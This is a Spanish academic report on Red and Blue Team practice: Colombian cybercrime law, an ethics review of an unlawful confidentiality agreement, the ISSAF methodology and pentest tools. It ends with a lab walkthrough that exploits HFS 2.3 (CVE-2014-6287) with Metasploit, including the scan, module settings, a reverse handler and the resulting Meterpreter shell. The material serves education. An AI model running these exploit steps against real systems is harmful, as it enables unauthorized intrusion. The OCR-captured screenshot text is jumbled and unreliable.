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Resumen
Este trabajo aborda el fortalecimiento de las capacidades técnicas, legales y de gestion de los
equipos Blue Team y Red Team en el &mbito de la ciberseguridad. Se examina la legislacion
colombiana relevante, las estrategias de analisis de riesgos y la evaluacién de vulnerabilidades en

infraestructuras T1 teniendo en cuenta el desarrollo del seminario especializado.
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Abstract
This work addresses the strengthening of the technical, legal, and management capacities of Blue
Team and Red Team in the field of cybersecurity. It examines relevant Colombian legislation,

risk analysis strategies, and vulnerability assessment in IT infrastructures.

Keywords: Cybersecurity, Pentesting, Hardening, Vulnerabilities, Exploit.
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Glosario

Ciberdelincuente: Persona que utiliza sus conocimientos para cometer delitos
informaticos.

CVE: Identificador unico asignado a las vulnerabilidades.

Equipos Azules (Blue Teams): Equipos disefiados para la prevencion y defensa de
ataques cibernéticos.

Equipos Rojos (Red Teams): Equipos disefiados para realizar pruebas de ataques
cibernéticos controlados.

TI: Tecnologia de la informacion

Monitoreo Continuo: Proceso de supervision constante de la red y los sistemas para
detectar actividades sospechosas 0 no autorizadas.

IDS/IPS (Intrusion Detection System/Intrusion Prevention System): Sistemas utilizados
para detectar y prevenir intrusiones en la red. IDS detecta y alerta sobre posibles intrusiones,
mientras que IPS puede bloquearlas automaticamente.

Anadlisis de Vulnerabilidades: Evaluacion sistematica de los sistemas para identificar y
clasificar las vulnerabilidades de seguridad.

Gestidn de Parches: Proceso de actualizacion de software para corregir vulnerabilidades y
mejorar la seguridad.

Respuesta a Incidentes: Conjunto de procedimientos y acciones para manejar y mitigar
los efectos de un incidente de seguridad.

Pruebas de Penetracion: Simulaciones controladas de ataques cibernéticos para identificar

y explotar vulnerabilidades en los sistemas.



Ingenieria Social: Técnica utilizada para manipular a las personas y obtener informacion
confidencial mediante engafios.

Simulacién de Ataques: Proceso de recrear ataques cibernéticos reales para evaluar la
efectividad de las defensas de seguridad.

Explotacion de Vulnerabilidades: Uso de técnicas y herramientas para aprovechar las
debilidades en los sistemas y obtener acceso no autorizado.

Cumplimiento Normativo: Asegurarse de que todas las actividades de seguridad cumplan
con las leyes y regulaciones aplicables.

Proteccion de Datos: Implementacion de politicas y procedimientos para proteger la

informacidn personal y sensible.



Introduccion

En el contexto de la ciberseguridad moderna y como en el desarrollo de este seminario
especializado bajo los supuestos en relacion con la empresa ficticia “CyberFort Technologies”, la
proteccion de la informacion y las infraestructuras tecnoldgica es crucial para las organizaciones.
Este informe técnico examina las capacidades técnicas, legales y de gestion necesarias para los
equipos Blue Team y Red Team.

El equipo Blue Team se especializa en la defensa proactiva y la mitigacion de amenazas,
utilizando herramientas y estrategias avanzadas para salvaguardar los sistemas de informacion.
Por su parte, el Red Team lleva a cabo simulaciones de ataques reales para detectar
vulnerabilidades y evaluar la efectividad de las defensas implementadas.

Ademas, este informe aborda la legislacion vigente en Colombia sobre proteccion de
datos y delitos informaticos, proporcionando un marco normativo esencial para la operacion de
estos equipos. Se explorara la metodologia ISSAF y herramientas utilizadas en pruebas de
penetracidn (pentesting) y auditorias de seguridad, destacando las mejores practicas para

mantener la integridad, confidencialidad y disponibilidad de la informacion.
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Objetivos

Objetivo General

Fortalecer las capacidades técnicas, legales y de gestion de los equipos Blue Team y Red
Team mediante la implementacion de estrategias avanzadas de contencion, analisis de riesgos y
evaluacion de vulnerabilidades en la infraestructura TI.
Objetivos Especificos

Reconocer elementos practicos y legales en el desarrollo de equipos rojos y azules.

Evaluar un acuerdo de confidencialidad segln la ley 1273 de 2009 de Colombia y normas
éticas profesionales en la practica de equipos rojos y azules.

Demostrar vulnerabilidades en un sistema informatico a partir del uso de metodologias y
técnicas de intrusion.

Formular estrategias de contencion mediante el analisis de riesgos y vulnerabilidades en

una infraestructura TI segun el escenario planteado.
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Desarrollo del Informe

Leyes y Decretos Colombianos Sobre Delitos Informaticos

Mediante la Ley 1273 de 2009 se establece el bien Juridico tutelado de la proteccion de la
informacion y de los datos, asi mismo, modifica el cddigo de penal al adicionar el Titulo VII BIS
denominado "De la Proteccién de la informacion y de los datos”

Se legisla con relacion a:

- Los atentados contra la confidencialidad, la integridad y la disponibilidad de los datos

y de los sistemas informaticos
- Los atentados informaticos y otras infracciones
- Tipificando y estableciendo las sanciones frente a los delitos informaticos, buscando
garantizar la proteccion integral de los sistemas de informacion y comunicaciones

Por otra parte, existen decretos que buscan establecer normas, métodos y/o
procedimientos que regulan y garantizan el uso de las tecnologias de la informacién y la
proteccién de datos personales:

- Decreto 333 de 2014: Implementado en entidades publicas y privadas.

- Decreto 1078 de 2014: Implementado en entidades del sector Salud.

- Decreto 1702 de 2012: Implementado en la administracion publica.
Metodologia de Pentesting

Es el proceso por el cual se realizan pruebas de penetracion, mediante ataques a
diferentes sistemas y entornos con el fin de identificar y prevenir posibles fallos,
vulnerabilidades o errores del sistema. Mediante el uso de métodos de penetracion se establecen
los pasos para realizar dicho pentest. Una de las metodologias es ISSAF en la cual se realiza en 3

etapas y 9 pasos:
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Etapa 1. Planeacion y preparacion: Se realiza el contrato donde se especifiquen las
responsabilidades todas las partes interesadas, asi como los garantes legales y se establecen
lineamientos para la auditoria.

Se establecen alcances, metodologias de trabajos, enfoques de trabajo, rutas de
escalamiento, contactos y se aceptan los casos de prueba.

Etapa 2. Evaluacion: Cuenta con nueve pasos dentro de la auditoria.

- Recoleccion de informacion: Se recolecta toda la informacion posible sobre el
objetivo a auditar, esto puede realizarse a traves de medios informaticos publicos o a través de
las herramientas dispuestas por la entidad.

- Mapeo de red: Se realiza escaneo de la red, identificando su posible tipologia,
vulnerabilidades, puertos y servicios expuestos entre otros mediante diversas herramientas para
el escaneo de redes.

- Identificacion de vulnerabilidades: Mediante el uso de la informacion recolectada,
el auditor valida las vulnerabilidades encontradas y selecciona una de ellas para realizar la
explotacion, estas vulnerabilidades pueden ser seleccionadas segun las publicadas y conocidas
como CVE o CERT.

- Penetracion: Mediante la explotacion de vulnerabilidades y explotacion de
diversos vectores de ataque se realiza la intrusion logrando el control a mayores niveles
jerarquicos. Estas acciones podran realizarse mediante diversas herramientas o actividades que
considere el auditor, de esta forma, encontrar las vulnerabilidades que puedan poner en riesgo a
la organizacion. Por otra parte, cada accion que se realice y cada hallazgo encontrado, debera ser

documentado detalladamente para la toma de decisiones.
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- Obtener acceso y escalar privilegios: Mediante los ataques de penetracion, ataques
de diccionario, ataques de fuerza bruta, configuraciones que permiten ejecucion de comandos del
sistema, usuarios sin contrasefia, entre otros, es posible escalar privilegios gracias a la falta de
controles establecidos para la seguridad de la informacion tales como firewall, IDS/IPS,
capacitacion al talento humano y algunos otros mas, haciendo que la obtencién de privilegios
como administrador sea mas dificil.

- Enumeraciéon: Se pretende encontrar todas las vulnerabilidades del sistema,
mediante validacion del trafico de red, correos, cookies de sesion, texto plano o contrasefias
cifradas, entre otros.

- Comprometer usuario/sitios remotos: Los diferentes vectores de ataque, puertas
traseras y demas hechos de seguridad comprometen la seguridad de la informacion y dar acceso
no autorizados, comprometiendo accesos remotos al sistema y canales de comunicacion.

- Mantener acceso: Al obtener resultados exitosos en las intrusiones a los sistemas,
es posible dejar accesos ocultos como Back Door, de esta forma se pueden instalar script,
rootkits o exploit, entre otros, asi, se pueden evidenciar riesgos que podrian ser aprovechados por
atacantes externos.

- Cubrir huellas: Para este paso es importante tener en cuenta las condiciones
estipuladas inicialmente, si el auditor debe reestablecer el sistema sin ninguln tipo de
modificacion, es importante tener claridad de cada actuacion que se realiz6 para dejar todo en
total orden eliminando toda evidencia de los procesos realizados, de lo contrario, el sistema se
deja tal cual el resultado de las pruebas realizadas, con el fin de dejar evidencia de estos.

Etapa 3. Reporte, limpieza y destruccién: Se realiza el reporte de las acciones realizadas

junto con los hallazgos
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ISSAF indica que se deben reportar los incidentes inmediatamente se presentan de forma
verbal y escrita, con el fin de analizar el impacto que podria tener en el sistema y tomar
decisiones de las acciones para mitigarlos.

Es importante que todo sea debidamente documentado, de esta forma, en el informe final
estaran consignadas cada uno de los hallazgos y las recomendaciones realizadas, asi como
plasmar las herramientas utilizadas y los tiempos de ejecucion en cada una de las pruebas
realizadas.

Un ejemplo de herramientas usadas en el pentesting es Metasploit, la cual permite poner
a prueba las diferentes vulnerabilidades que puedan tener los sistemas informaticos y lo hace por
medio de las siguientes funciones:

. Escaneo y recopilacién de informacion: Metasploit utiliza herramientas como
nmap para realizar el escaneo de puertos e identificacion de puertas de entrada a los sistemas

. Identificacidn y explotacion de vulnerabilidades: Identifica que vulnerabilidades
estan presentes en un sistema y que estan publicadas en CVE, de esta menara identifica como
explotar dicha vulnerabilidad.

. Escalada de privilegios: Cuenta con software que permite la elevacién de
privilegios como administrador en diferentes sistemas operativos tales como Linux y Windows.

. Instalacion de puertas traseras: Basado en codigos maliciosos o payloads, instala
puertas traseras o backdoors en el equipo victima, para poder robar informacion confidencial.

. Fuzzing: Automatiza el ingreso de valores aleatorios que pueden ser inesperados o
erroneos en la entrada de los sistemas con el fin de identificar fallos que permitan el ingreso a un

dispositivo o red.
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. Evasidn de sistemas antivirus: Metasploit contiene herramientas que permite la
ofuscacion de cdédigo o escribir cddigo malicioso que no le permite al sistema de defensa ser
detectado.

. Eliminacion de registros de rastros: Con sus herramientas permite la eliminacion

de registros o rastros en los logs de los sistemas operativos impactados.

Definicién de Herramientas y Servicios en Linea de Ciberseguridad.

Herramientas:

Metasploit. es un Software de cddigo abierto u open source, que viene instalado en los
sistemas Kali Linux y que contiene mas de 900 exploit. Esta es de las herramientas que mas se
utiliza dentro del hacking ético o de equipos rojos. Este permite poner a prueba las diferentes
vulnerabilidades que puedan tener los sistemas informaticos y lo hace por medio de las
siguientes funciones:

. Escaneo y recopilacién de informacion: Metasploit utiliza herramientas como
nmap para realizar el escaneo de puertos e identificacion de puertas de entrada a los sistemas

. Identificacién y explotacion de vulnerabilidades: Identifica que vulnerabilidades
estan presentes en un sistema y que estan publicadas en CVE, de esta menara identifica como
explotar dicha vulnerabilidad.

. Escalada de privilegios: Cuenta con software que permite la elevacién de
privilegios como administrador en diferentes sistemas operativos tales como Linux y Windows.

. Instalacion de puertas traseras: Basado en codigos maliciosos o payloads, instala

puertas traseras o backdoors en el equipo victima, para poder robar informacion confidencial.
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. Fuzzing: Automatiza el ingreso de valores aleatorios que pueden ser inesperados o
erroneos en la entrada de los sistemas con el fin de identificar fallos que permitan el ingreso a un
dispositivo o red.

. Evasidn de sistemas antivirus: Metasploit contiene herramientas que permite la
ofuscacion de cddigo o escribir cédigo malicioso que no le permite al sistema de defensa ser
detectado.

. Eliminacion de registros de rastros: Con sus herramientas permite la eliminacion
de registros o rastros en los logs de los sistemas operativos impactados.

Nmap. es una herramienta de auditoria de seguridad y exploracién de red de cédigo
abierto. Mediante el uso de paquetes IP en su forma original permite identificar qué equipo estan
disponibles en la red, los servicios y sus versiones presentes, sistemas operativos y sus versiones,
cortafuegos y filtros de paquetes, escaneo de vulnerabilidades y diversas mas caracteristicas.

Entre los resultados obtenidos podemos encontrar listas de puertos y protocolos con sus
servicios y estados con las versiones de cada uno de ellos. De igual forma, llega a mostrar
nombres de DNS, direcciones de MAC vy tipos de dispositivos.

Nmap Permite:

- Especificar objetivos como escanear un IP especifica, parte de una red, segmentos o la
red completa mediante el método CIDR y el uso de diversos comandos.

- Analizar 65535 puertos, entre los que encontramos mas de 1660 puertos TCP y cada
uno de sus 6 estados, permitiendo obtener informacion confiable y precisa de su estado.

- A los atacantes identificar las vulnerabilidades de los puertos y servicios presentes en
cada uno de los equipos activos en la red gracias a su capacidad de deteccidn de versiones y

detalle en cada equipo.
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- analiza mas de 1500 huellas resguardadas en sus bases de datos para identificar los
sistemas operativos, las cuales son comparadas con los resultados arrojados de paquetes TCP y
UDP en el escaneo.

Por otra parte, mediante el uso avanzado y la experiencia en Nmap, es posible evadir
cortafuegos e IDS, ya que los usos basicos ya estan filtrados o bloqueados por algunos sistemas,
haciendo maés dificil realizar el analisis de la red.

OpenVAS (Open Vulnerability Assessment Scanner). es una herramienta de codigo
abierto disefiada para evaluar y corregir debilidades de seguridad en infraestructuras tecnoldgicas
al identificar y gestionar vulnerabilidades de seguridad de los sistemas y redes minimizando los
riesgos.

Gracias a su excelente interfaz grafica, a mas de 50mil test y datos de vulnerabilidades
actualizadas diariamente por la comunidad, expertos y la misma empresa permite:

- Realizar pruebas autenticadas.

- Realizar pruebas no autenticadas.

- Ejecutar protocolos de internet de bajo y alto nivel, asi como protocolos industriales.

- Ajustar exploraciones de rendimientos personalizados a gran escala.

- Implementar cualquier tipo de prueba de vulnerabilidad.

OpenVAS cuenta con excelente documentacion junto con una gran comunidad por foros
y en la web, que brinda tutoriales y apoyo con la exploracion de vulnerabilidades.

Servicios en linea:

ExploitDB. Es una base de datos de shellcodes, exploits, aplicaciones web,
vulnerabilidades 0-days, articulos de seguridad, informes de vulnerabilidades y tutoriales que se

encuentra en linea la cual es constantemente actualizada y totalmente disponible
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CVE. Lista de vulnerabilidades y exposiciones de seguridad informatica divulgadas
publicamente en donde se realiza su debida identificacion CVE-ID por la corporacion MITRE y
el Departamento de Seguridad Nacional de EEUU.

Creada como un diccionario estandar de ciberseguridad para identificar y categorizar las
vulnerabilidades encontradas por las organizaciones, facilitando la comunicacion e intercambio

de informacion entre las diferentes herramientas y organizaciones.

Implementacion de Montaje del Banco de Trabajo para evidencia practica.

Se cuenta con un equipo con procesador AMD Ryzen 5 de 2.09 GHz, 4 GB de RAM,
disco duro de 50 GB y SO Windows 7 profesional de 64 bits, el montaje se realiza en la maquina
virtual VirtualBox.
lustracion 1

Win7-SE2020-X64.0va

[E=3 Een X
T ol
@ -

(L)) [ » Panelde control » Todos los elementos de Panel de control » Sistema ~ [ %3 | Buscaren el Panel de control

Vent; I del Panel d . it ;
e";m A, Ver informacién bésica acerca del equipo

® Administrador de dispositivos | L3icion de Windows

® Configuracién de Acceso Windows 7 Professional
remoto Copyright © 2009 Microsoft Corporation. Reservados todos los derechos.
&) Proteccion del sistema Service Pack1

@ Configuracién avanzada del
sistema

Sistema
Evaluacién: La evaluacién del sistema no esta disponible
Procesador: AMD Ryzen 5 500U with Radeon Graphics 2,09 GHz
Memoria instalada (RAM): 4,00 GB
Tipo de sistema: Sistema operativo de 64 bits

Lépiz y entrada tactil: La entrada tactil o manuscrita no estd disponible para esta pantalla
Configuracién de nombre, dominio y grupo de trabajo del equipo

PC202006 & Cambiar
PC202006 Sonfig

Windows Update
Informacién y herramientas de Descripcién del equipo:
rendimiento Grupo de trabsjo: WORKGROUP

15/10/2024

Ll Q suscor D | g

Fuente. Propio



lustracion 2
Ping de Windows 7 a Maquina Kali Linux 10.0.2.14

App... Places [ Ter... Oct 15 00:37

kali@kali: ~ Q

b Panel de control » Todos los elementos de Panel de control b Sistema ~ [ 49 ][ Buscar en el Panet de contro

Microsoft Windows [Uersion 6.1.76811
Copyright {c> 2089 Microsoft Corporation. Reservados todos los derechos.

0:00 brd 00:¢ IC:\Usersi\usuario>ping 168.0.2.14
/8 scope host lo
valid_1ft forever preferred_1ft forever
ineté /128 scope host noprefixroute
valid_lft forever preferred_lft forever
LTICAST,UP, LOWER_UP> mtu 150 gdisc fq_codel state UP gr

2 bytes de datos:
=32 tiempo=ims TIL=64
i TTL=64
TTL=64
=ims TTL=64

de ping para 18.8.2.14:
enviados = 4, recibidos = 4, perdidos = 8
9:72 brd ff:ff:ff:ff:ff:ff %
scope global dynamic noprefixroute eth®
9sec preferred_l1ft 359sec
/64 scope link noprefixroute
valid_lft forever preferred_lft forever

dos de ida y vuelta en milisegundos:
. Miximo = ims, Media = ims

o T e
Lépizy entrada tactil: La entrada téctil o manuscrita no esté disponible para esta pantalla

Configuracién de nombre, deminicy grupe de trabajo del equipo

Nombre de equipo: PC202006 ) Cambiar
ividades Nombre completo de PC202006 configuracién
equipo:
e ienias de. Descripcién del equipo:
Grupo de trabajo: WORKGROUP

! Q@ B & i
| B ® W @ & B
BOWS S B@ESE VPS5 DRGEEw
= GRS ® 0 3 7 M OB 7o s YW ~acsean Sina

Fuente. Propio

Situaciones de Procesos llegales y No Etico Que Se Pueden Presentar en Acuerdos de
Confidencialidad.

Los siguientes textos son parte de un acuerdo de confidencialidad en donde existen
diversos procesos y obligaciones que estan en contra de la ley y la ética profesional.

- Se obliga a no divulgar directa, indirecta... la informacion confidencial o sobre
procesos ilegales dentro de CyberFort Technologies no podran ser divulgados.

- Informacion Confidencial: Cualquier informacion societaria, técnica... datos
secretos como “datos de chuzadas, interceptacion de informacién, accesos abusivos a sistemas
informaticos”.

- No denunciar ante las autoridades actividades sospechosas de espionaje o

cualquier otro proceso en el cual intervenga la apropiacion de informacion de terceros.
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- Abstenerse de denunciar y publicar la informacidn confidencial e ilegal que

conozca, reciba o intercambie con ocasién de las reuniones sostenidas.

Articulos De La Ley 1273 de 2009 Que Se Podrian Vulnerar Segun las Situaciones
Anteriores.

- “se obliga a no divulgar directa, indirecta... la informacion confidencial o sobre
procesos ilegales dentro de CyberFort Technologies no podran ser divulgados.” La NO
divulgacion de procesos ilegales evidenciados, convierte a la parte receptora en complice de
incurrir en actos penalizados en la ley 1273 de 2009 (en uno o todos sus articulos), asi como
faltar a los principios éticos de trasparencia, responsabilidad e integridad establecidos por el
COPNIA.

- “Informacion Confidencial: Cualquier informacion societaria, técnica... datos
secretos como “datos de chuzadas, interceptacion de informacion, accesos abusivos a sistemas
informaticos” Aunque esta informacion si es confidencial, se podria presentar que la informacion
obtenida no sea de propiedad de la empresa y el tener conocimiento que posiblemente ha sido
obtenida de forma ilegal y no dar aviso del posible acto delictivo, convierte al receptor en
coémplice de incurrir en actos penalizados en la ley 1273 de 2009 (Articulo 269A Acceso abusivo
a un sistema informatico, Articulo 269C Interceptacion de datos informaticos, Articulo 269E Uso
de software malicioso para la obtencion de la informacion, Articulo 269F Violacion de datos
personales, Articulo 269G Suplantacion de sitios web para capturar datos personales, Articulo
2691 Hurto por medios informaticos y semejantes), asi como faltar a los principios éticos de
trasparencia, responsabilidad e integridad establecidos por el COPNIA, aunque no haya

participado en la obtencion de los datos.
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- “No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacion de terceros.” Esta
obligaria al Receptor a incurrir en la violacion de la ley 1273 de 2009 (Articulo 269A Acceso
abusivo a un sistema informatico, Articulo 269C Interceptacion de datos informaticos, Articulo
269E Uso de software malicioso para la obtencidn de la informacion, Articulo 269F Violacion de
datos personales, Articulo 2691 Hurto por medios informéticos y semejantes), asi como la ley
1581 de 2012 y faltar a los principios éticos de trasparencia, responsabilidad e integridad
establecidos por el COPNIA.

- “Abstenerse de denunciar y publicar la informacion confidencial e ilegal que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.” La NO denuncia la
informacion ilegal, convierte a la parte receptora en complice de incurrir en actos penalizados en
la ley 1273 de 2009 (en uno o todos sus articulos), asi como faltar a los principios éticos de
trasparencia, responsabilidad e integridad establecidos por el COPNIA.

Tomar acciones ante delitos informaticos establecidos en la ley 1273 de 2009 y la ley

1581 de 2012 hace parte del actuar ético como ingeniero.

¢ Se Recomendaria Firmar Un Acuerdo Bajo Las Anteriores Condiciones?

No es recomendable aplicar a un trabajo bajo las anteriores condiciones, teniendo en
cuenta que sus clausulas van en contra de los principios éticos profesionales establecidos en el
COPNIA de trasparencia, responsabilidad e integridad al pretender prohibir las denuncias de
procesos y/o situaciones ilegales que se evidencien.

Acrticulos de ley 842 de 2003 que entran en conflicto con algunas clausulas son:

- Acrticulo 15 Sanciona a los profesionales que incurran en préacticas ilicitas.
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- Articulo 31 Los ingenieros deben denunciar todo delito y faltas contra el codigo
ético de los que tuviese conocimiento.

- Articulo 35 Denunciar trasgresiones que obliguen a los ingenieros a no respetar
las disposiciones legales y éticas profesionales.

Igualmente, algunas de las clausulas incitan a cometer delitos penalizados en las leyes
1273 de 2009 y 1581 de 2012 las cuales regulan los delitos informaticos en Colombia y exigen

NO denunciar dichos actos delictivos.

Analisis Frente a Casos de “Ciberespionaje Y Etica”

- ¢Hasta qué punto las empresas de ciberseguridad deben tener acceso a
informacidn sensible de sus clientes durante una auditoria de seguridad, y como se puede
garantizar que este acceso no sea explotado de manera indebida?

R/ Las empresas de ciberseguridad no necesariamente deben tener acceso a informacién
sensible de sus clientes en el desarrollo de una auditoria, estaria mas orientado a conocer la
estructura de la informacidn que se maneja sin acceder a los datos. Por otra parte, es importante
realizar acuerdos robustos para restringir el acceso a la informacion confidencial, especificando
claramente responsabilidades y limitaciones, también, es importante establecer controles para el
acceso de la informacién tomando registro de los ingresos y autenticacion de multifactor.

- ¢ Qué mecanismos de supervision y control deberian implementarse en las
empresas de ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de
andlisis forense con fines no autorizados o éticamente cuestionables?

R/ Establecer roles de jerarquia que garanticen el uso restringido a la informacién en cada

proyecto, implementar politicas y procedimientos que permitan establecer responsables, realizar
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auditorias continuas de los trabajos realizados, capacitar continuamente a los especialistas frente
al codigo de ética profesional y leyes, implementar monitoreo para detectar actividades
sospechosas en tiempo real, controlar el uso de dispositivos tecnologicos no autorizados.

- ¢Como deberian responder los gobiernos y organizaciones cuando descubren que
una empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? ¢ Cuales serian
las medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente?

R/ Es importante que los gobiernos y organizaciones, una vez han evidenciado que se han
cometido delitos de ciberseguridad, deben:

0 Desistir del contrato con la empresa de ciberseguridad.

0 Iniciar acciones legales (civiles y penales) en contra del personal y la empresa
contratante, asi como denunciar ante las autoridades competentes para que realicen las acciones e
investigaciones pertinentes.

0 Iniciar un estudio o auditoria interna para evaluar las afectaciones e impacto del
ataque, asi como tomar las medidas correctivas necesarias para prevenir vectores de ataque y
puertas trasera abiertas.

0 Informar a posibles terceros afectados para prevenir ataques y mayores
afectaciones.

0 Fortalecer politicas de ciberseguridad que permitan restaurar la confianza de los
afectados.

0 Fortalecer el monitoreo frente a ataques de ciberseguridad.
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Evidencia Practica de Acciones Realizadas Por un Equipo Red Team en Ambiente
Controlado.

Se realiza el montaje del entorno seguro para la realizacion de las pruebas (maquina
atacante Kali Linux y Maquina Copia del servidor Windows 7).

En el servidor Windows 7 se evidencia la instalacion de la aplicacion HTTP File Server
2.3 la cual utiliza el puerto 80 para la transferencia de datos.

Una vez iniciadas las maquinas en el mismo entorno de red se realiza escaneo de equipos
y versiones de software activos y vulnerables desde Kali Linux mediante la herramienta NMAP
con el comando nmap -sV 10.0.2.*

lustracion 3
Escaneo de red (Equipos y Versiones de Software)

Applications  Places €8 Terminal Nov 10 07:51
e =2

kali@kali: ~

L ap -sV 10.0.2.

Starting Nmap 7.94 ( https://nmap.org ) at 2024-11-10 07:44 -05
Nmap scan report for 10.0.2.1

Host is up (0.0015s latency).

All 1000 scanned ports on 10.0.2.1 are in ignored states.

Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 10.0.2.14

Host is up (0.0014s latency).

ALl 1000 scanned ports on 10.0.2.14 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 10.0.2.15

Host is up (0.0080s latency).

Not shown: 994 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION IS
80/tcp open http HttpFileServer httpd 2.3

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: W0 ) more you are able to hear"
RKGROUP)

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in 55.73 seconds

Lo | EREOE o

m > g | - . > ESP 7:51a.m.
[ By 3T mo @ i B8O o0 &

Fuente. Propio
Se evidencia la maquina objetivo con IP 10.0.2.15, la cual cuenta con diversos puertos
abiertos los cuales podrian presentar diversas vulnerabilidades. Entre los puertos abiertos se

encuentra el puerto 80 con la version de software “HttpFileServer httpd 2.3”.
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Al identificar la version expuesta se realiza investigacion de las posibles vulnerabilidades

en la base de datos de cve.mitre.org. Como resultado se encuentra la vulnerabilidad CVE-2014-

6287 la cual muestra una vulnerabilidad de ejecucion de comando remoto.

Se procede a la busqueda de Exploit de la vulnerabilidad con el comando “search CVE-

2014-6287” en la herramienta Metasploit en Kali Linux.

llustracion 4
Blsqueda de Exploits CVE-2014-6287

/]
Applications  Places @8 Terminal Nov 10 08:20
— —

a i+ Terminal

Host is up (0.0015s latency).
A1l 1000 scanned ports on 10.0.
Not shown: 1000 closed tcp port

Nmap scan report for 10.0.2.14 =[ metasploit v6.3 ev

Host is up (0.0014s latency). + - 0 auxiliary - 413 post
ALl 1000 scanned ports on 10.0.+ [ 1385 payloads - 46 encoders - 11 nops
Not shown: 1000 closed tcp port+ -- --=[ 9 evasion

Nmap scan report for 10.0.2.15 Metasploit tip: Enable verbose logging with set VERBOSE
Host is up (0.0080s latency). true
Not shown: 994 filtered tcp porMetasploit Documentation: https://docs.metasploit.com/
PORT STATE SERVICE VEF
80/tcp  open http Httmsf6 > search CVE-2014-6287

msrpc Mic

netbios-ssn MicMatching Modules

microsoft-ds Mic== ====

2869/tcp open http Mic Disclosure Date Rank Check Description
5357/tcp open http Mic
Service Info: Host: PC202006; (

Service detection performed. Pl
.org/submit/ . Interact with a module by name or index. For example info 0,
Nmap done: 256 IP addresses (3

LS |

FlmPoOVR B

Lo E@FESHEcR

e ESP o "
AR LTS

Fuente. Propio
Se evidencia el exploit rejetto_hfs_exec.

Mediante el comando use 0 se realiza la ejecucion del exploit.

8:20a. m.
10/11/2024 =

Seguidamente se realiza la configuracion de los parametros necesarios para iniciar la

intrusion mediante el comando set rhost 10.0.2.15, lo cual permite orientar el ataque a la

magquina especifica la cual presenta la vulnerabilidad.



lustracion 5
Configuracion para la explotacion de vulnerabilidades

(]

Applications  Places (@ Terminal Nov 10 08:43

a Terminal

a
Host is up (0.0015s latency). :
ALl 1000 zcsn“ed portsion ié o.msf6 exploit( ) > set rhost 10.0.2.15

. ° .rhost => 10.0.2.15
ot shoun: 1000 closed tep porty F3 " T 3> Stiow! optiong
Nmap scan report for 10.0.2.14 : e
Host. 15 up. (0.0014s Tatency).  Module options (exploit/windows/http/rejetto_hfs_exec)
:E: ;:Zznfcigggdcfzzéj fzplg;z; Name rrent Setting Required Description

Seconds to wait before terminating web s

Nmap scan report for 10.0.2.15  MTTPPELAY e

Host is up (0.0080s latency). 5 ; . .

o€ showss 594 Filtered Ecp poi Proxies A proxy chain of format type:host:portl,
type:host:port][...]

TA R F
ipe:E :ﬁt:ICE xE‘ RHOSTS .0.2. The target host(s), see https://docs.met
il ) asploit.com/docs/using-metasploit/basics
c : /using-metasploit.html
Spen ;?E:Z:Zf:fgs ﬂ:: RPORT The target port (TCP)
SRVHOST The local host or network interface to 1
ntt, 5 isten on. This must be an address on the
p Mic A 5
local machine or 0.0.0.0 to listen on a
it A 1 addresses
A0 MR GRstes GEDATR € s The local port to listen on
Sepvite| detection] pecformed APl SsL false ::gnt;ate SSL/TLS for outgoing connectio
.org/submit/ . :
+ 256 IP addresses (3 SSLCert Path to a custom SSL certificate (defaul
t is randomly generated)
T e B

[

Fuente. Propio
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Con el comando “run” se ejecuta el exploit el cual abre una puerta al eludir los filtros de

seguridad del servidor HFS para tomar control remoto de la maquina objetivo, posteriormente se

ejecuta el comando “shell” para ingresar a modo comandos de Windows 7.

lustracion 6
Ejecucion de exploit y acceso a comandos del sistema Win7

wannacrypt-attacks/
Meterpreter session 3 opened (10.0.2.14:4444 -> 10.0.2.15:49168) at 2024-11-10 11:39:15 -0500

https://technet.microscmeterpreter > s
https://cve.mitre.org/c
meterpreter > shell
Service detection performed. PlProcess 1772 created.
.org/submit/ . Channel 2 created.
Nmap done: 2 IP addresses (1 hcMicrosoft Windows [Versien 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

/]
Applications  Places &8 Terminal Nov 10 11:42
=
-+ Terminal
Error running command shell: Rex::TimeoutError Send timed out
Host script results: meterpreter >
| _smb-vuln-ms10-054: false 10.0.2.15 - Meterpreter session 1 closed. Reason: Died
| _smb-vuln-ms10-061: NT_STATUS_run post/c:/wi
| smb-vuln-ms17-010: msf6 exploit( ) > run
| VULNERABLE:
|  Remote Code Execution vulne Started reverse TCP handler on 10.0.2.14:4444
| State: VULNERABLE Using URL: http://10.0.2.14:8080/3gPKuliS
| IDs: CVE:CVE-2017-0143 Server started.
| Risk factor: HIGH Sending a malicious request to /
| A critical remote code Payload request received: /3gPKuwWS
| servers (ms17-010). Sending stage (175686 bytes) to 10.0.2.15
| Sending stage (175686 bytes) to 10.0.2.15
| Disclosure date: 2017-03-[!] Tried to delete ¥TEMP%\QOPUnZbeoPXV.vbs, unknown result
| References: Meterpreter session 2 opened (10.0.2.14:4444 -> 10.0.2.15:49173) at 2024-11-10 11:39:13 -0500
| ps://blogs.technet.n Server stopped.
R
|
=

C:\Users\usuario\AppData\Local\Temp\720C343A2F2>]

FmP®oH»Y

Fuente. Propio
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Se toma evidencia de la aplicacion HFS (la cual es vulnerable) donde evidencia que el

sistema esta registrando transferencia de datos y requerimientos por parte de la maquina atacante.

llustracion 7
Evidencia de transaccion de datos en la aplicacion HFS

Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox

42 HFS ~ HTTP File Server 23 Build 288 fola )=

& Menu | 7 Port:80 | @2 You arein Easy mode
[ Open in browser  http://10.0.2.15/

1) Copy to clipboard
Virtual File System Log

) > x.Send

> Execute+x responseText }

